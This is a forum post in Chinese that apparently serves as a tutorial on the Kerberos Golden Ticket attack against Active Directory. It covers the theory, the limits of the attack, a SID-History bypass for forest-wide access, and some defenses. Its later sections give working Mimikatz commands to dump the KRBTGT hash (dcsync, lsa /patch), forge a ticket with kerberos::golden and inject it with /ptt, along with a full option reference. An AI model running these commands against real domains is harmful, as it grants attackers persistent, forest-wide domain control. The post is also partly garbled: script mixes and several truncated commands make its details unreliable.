taibeihacker
Moderator
0x01黄金票据的原理和条件
黄金票据是伪造票据授予票据(TGT),也被称为认证票据。如下图所示,与域控制器没有AS-REQ或AS-REP(步骤1和2)通信。由于黄金票据是伪造的TGT,它作为TGS-REQ的一部分被发送到域控制器以获得服务票据。
Kerberos黃金票據是有效的TGT Kerberos票據,因為它是由域Kerberos帳戶(KRBTGT)加密和簽名的。 TGT僅用於向域控制器上的KDC服務證明用戶已被其他域控制器認證。 TGT被KRBTGT密碼散列加密並且可以被域中的任何KDC服務解密的。
黃金票據的條件要求:
1.域名稱[AD PowerShell模塊:(Get-ADDomain).DNSRoot]
2.域的SID 值[AD PowerShell模塊:(Get-ADDomain).DomainSID.Value]
3.域的KRBTGT賬戶NTLM密碼哈希
4.偽造用戶名
一旦攻擊者擁有管理員訪問域控制器的權限,就可以使用Mimikatz來提取KRBTGT帳戶密碼哈希值。

0x02黄金票据局限性
黃金票據“欺騙”了當前域的管理權限,當KRBTGT帳戶密碼哈希顯示在作為多域AD的林一部分的子域中時存在此局限性。因為是根(root)域包含全森林管理組Enterprise Admins。由於Mimikatz通過相對標識符(RID)向票據添加了組成員資格,因此Kerberos票據中的519(企業管理)RID在其創建的域中(基於KRBTGT帳戶域)被標識為本地。如果通過獲取域SID和附加RID創建的域安全標識符(SID)不存在,那麼Kerberos票據的持有者不會收到該級別的訪問權限。換句話說,在一個多域AD森林中,如果創建的GoldenTicket域不包含Enterprise Admins組,則Golden
Ticket不會向林中的其他域提供管理權限。在單個域Active Directory林中,由於Enterprise Admins組駐留在此域中,這時創建Golden Ticket不存在局限性。如下圖所示:除非在Enterprise Admins中,否則黃金票據不能跨域信任使用,標準的黃金票據僅限於其創建的子域

0x03绕过黄金票据局限性
在遷移方案中,從DomainA遷移到DomainB的用戶將原始DomainA用戶SID值添加到新的DomainB的SID History屬性中。當用戶使用新帳戶登錄DomainB時,DomainA SID將與確定訪問的DomainB用戶組一起驗證。這意味著可以將SID添加到SID歷史記錄以擴展訪問。
一旦Mimikatz支持Golden Ticket(和Silver Tickets)中的SID History,事情會變得更加有趣,因為AD Forest中的任何組都可以被包含並用於授權訪問。使用最新版本的Mimikatz,我們現在可以將SID歷史記錄添加到Forest Enterprise Admins組的Golden Ticket中。一旦單個域名的KRBTGT帳戶密碼哈希被獲取到,通過黃金票據可偽造用戶登錄到整個森林中。总而言之,一旦一个域名受到威胁。黄金门票现在可以用来微机AD森林中的任何域

注意:在Active Directory林中的信任之間啟用SID篩選可以防止繞過黃金票據局限性。
0x04黄金票据的特点
1.域控制器中的KDC服務不驗證TGT中的用戶帳戶,直到TGT超過20分鐘,這意味著攻擊者可以使用禁用和刪除的帳戶,甚至是在Active Directory中不存在的虛擬帳戶。微軟的MS-KILE解釋:
Kerberos V5不提供對TGS請求的帳戶撤銷檢查,只要TGT有效,即使該帳戶已被刪除,TGT更新和服務票據也可以發布。 KILE提供了一個可以將利用時間限制在較短的時間內(20分內)。當TGT大於20分鐘時,KILE KDC需要在域中檢查賬戶。
2.由於在域控制器上由KDC服務生成的域設置了Kerberos策略,如果提供票據,則係統信任票據的有效性。這意味著,即使域策略聲明Kerberos登錄票據(TGT)只有10小時有效,如果票據聲明有效期為10年,那麼也會信任票據的有效性期為10年。
3.該KRBTGT帳戶密碼從不更改*和直到KRBTGT密碼被更改(兩次),攻擊者可以創建黃金票據。請注意,即使偽造用戶更改其密碼,創建用於模擬用戶的Golden Ticket仍然存在。
4.它繞過了SmartCard身份驗證要求,因為它繞過了DC在創建TGT之前執行的常規驗證。
5.這個精心創建的TGT要求攻擊者擁有Active Directory域的KRBTGT密碼哈希值(通常從域控制器轉儲)。
6.KRBTGT NTLM哈希可用於生成一個有效的TGT(使用RC4)模擬任何用戶訪問Active Directory中的任何資源。
7.在主機上都可以生成和使用黃金票據(TGT),即使沒有加入域也是如此。只要網絡可以訪問域。
8.用於從AD森林中的DC獲取有效的TGS票據,並提供一個堅持在一切域訪問所有的主機的好辦法。
0x05黄金票据防御
1.限制域管理员登录到除域控制器和少数管理服务器以外的任何其他计算机(不要让其他管理员登录到这些服务器)将所有其他权限委派给自定义管理员组。這大大降低了攻擊者訪問域控制器的ActiveDirectory的ntds.dit。如果攻擊者無法訪問AD數據庫(ntds.dit文件),則無法獲取到KRBTGT帳戶密碼。
2.禁用KRBTGT帐户,并保存当前的密码以及以前的密码。 KRBTGT密碼哈希用於在Kerberos票據上簽署PAC並對TGT(身份驗證票據)進行加密。如果使用不同的密鑰(密碼)對證書進行簽名和加密,則DC(KDC)通過檢查KRBTGT以前的密碼來驗證。
3.建议定期更改KRBTGT密码(毕竟这是一个管理员帐户)。更改一次,然後讓AD備份,並在12到24小時後再次更改它。這個過程應該對系統環境沒有影響。這個過程應該是確保KRBTGT密碼每年至少更改一次的標準方法。
4.一旦攻击者获得了KRBTGT帐号密码哈希的访问权限,就可以随意创建黄金票据。通過快速更改KRBTGT密碼兩次,使任何現有的黃金票據(以及所有活動的Kerberos票據)失效。這將使所有Kerberos票據無效,並消除攻擊者使用其KRBTGT創建有效金票的能力。
0x06使用Mimikatz伪造Kerberos黄金票据
Mimikatz命令:Kerberos:Golden用於創建“黃金票據”(偽造TGT身份驗證票證)Mimikatz命令示例:
kerberos:golden /admin:ADMIINACCOUNTNAME
/domain



kerberos:golden /admin:darthvader /domain:lab.adsercurity.org /id:2601 /sid: S-1-5-21-4155807533-921486164-2767329826 /krbtgt:8a2f1adcdd519a23515780021d2d178a
/ptt
1.导出krbtgt的Hash
在域控上執行通過mimkatz輸出:mimikatz log 'lsadump:dcsync
/domain:test.local /user:krbtgt'

找到如下信息:
/domain:test.local
/sid:S-1-5-21-4155807533-921486164-2767329826
/aes256:af71a24ea463446f9b4c645e1bfe1e0f1c70c7d785df10acf008106a055e682f
2、生成Golden
Ticket偽造的用戶設置為god,執行:
mimikatz 'kerberos:golden
/domain:test.local /sid:S-1-5-21-4155807533-921486164-2767329826
/aes256:af71a24ea463446f9b4c645e1bfe1e0f1c70c7d785df10acf008106a055e682f
/user:god
/ticket:gold.kirbi'
生成文件gold.kirbi
3、偽造Golden
Ticket獲得域控權限導入Golden Ticket,執行如下命令:
kerberos

如圖,成功獲得域控權限

Tips:
生成Golden Ticket不僅可以使用aes256,也可用krbtgt的NTLM
hash
可以用mimikatz 'lsadump:lsa /patch'導出:

0x07
Mimikatz黃金票據命令參考:Mimikatz創建黃金的命令是“kerberos :
golden”
/domain-----完整的域名,在這個例子中:“lab.adsecurity.org”
/sid ----域的SID,在這個例子中:“S-1-5-21-1473643419-774954089-2222329127”
/sids --- AD森林中賬戶/組的額外SID,憑證擁有權限進行欺騙。通常這將是根域Enterprise Admins組的“S-1-5-21-1473643419-774954089-5872329127-519”值。 Ť
/user ---偽造的用戶名
/groups(可選)---用戶所屬的組RID(第一組是主組)。添加用戶或計算機帳戶RID以接收相同的訪問權限。默認組:513,512,520,518,519為默認的管理員組。
/krbtgt---域KDC服務帳戶(KRBTGT)的NTLM密碼哈希值。用於加密和簽署TGT。
/ticket(可選) - 提供一個路徑和名稱,用於保存Golden Ticket文件以便日後使用或使用/ptt立即將黃金票據插入內存以供使用。
/ptt - 作為/ticket的替代品- 使用它來立即將偽造的票據插入到內存中以供使用。
/id(可選) - 用戶RID。 Mimikatz默認值是500(默認管理員帳戶RID)。
/startoffset(可選) - 票據可用時的起始偏移量(如果使用此選項,通常設置為-10或0)。 Mimikatz默認值是0。
/endin(可選) - 票據使用時間範圍。 Mimikatz默認值是10年(〜5,262,480分鐘)。 Active
Directory默認Kerberos策略設置為10小時(600分鐘)。
/renewmax(可選) - 續訂最長票據有效期。 Mimikatz默認值是10年(〜5,262,480分鐘)。 Active Directory默認Kerberos策略設置為7天(10,080分鐘)。
/sids(可選) - 設置為AD林中企業管理員組(ADRootDomainSID)-519)的SID,以欺騙整個AD林(AD林中每個域中的AD管理員)的企業管理權限。
/aes128 - AES128密鑰
/aes256 - AES256密鑰
黃金票默認組:
域用戶SID:S-1-5-21
DOMAINID -513
域管理員SID:S-1-5-21
DOMAINID -512
架構管理員SID:S-1-5-21
DOMAINID -518
企業管理員SID:S-1-5-21
DOMAINID -519(只有在森林根域中創建偽造票證時才有效,但為AD森林管理員權限添加使用/sids參數)
組策略創建者所有者SID:S-1-5-21
DOMAINID -520
命令格式如下:
kerberos : golden/user:ADMIINACCOUNTNAME /
domain:DOMAINFQDN/id:ACCOUNTRID
/sid:DOMAINSID/krbtgt:KRBTGTPASSWORDHASH
/ptt
命令示例:
.\mimikatz “kerberos:golden
/user

/krbtgt:13026055d01f235d67634e109da03321
/ptt” exit
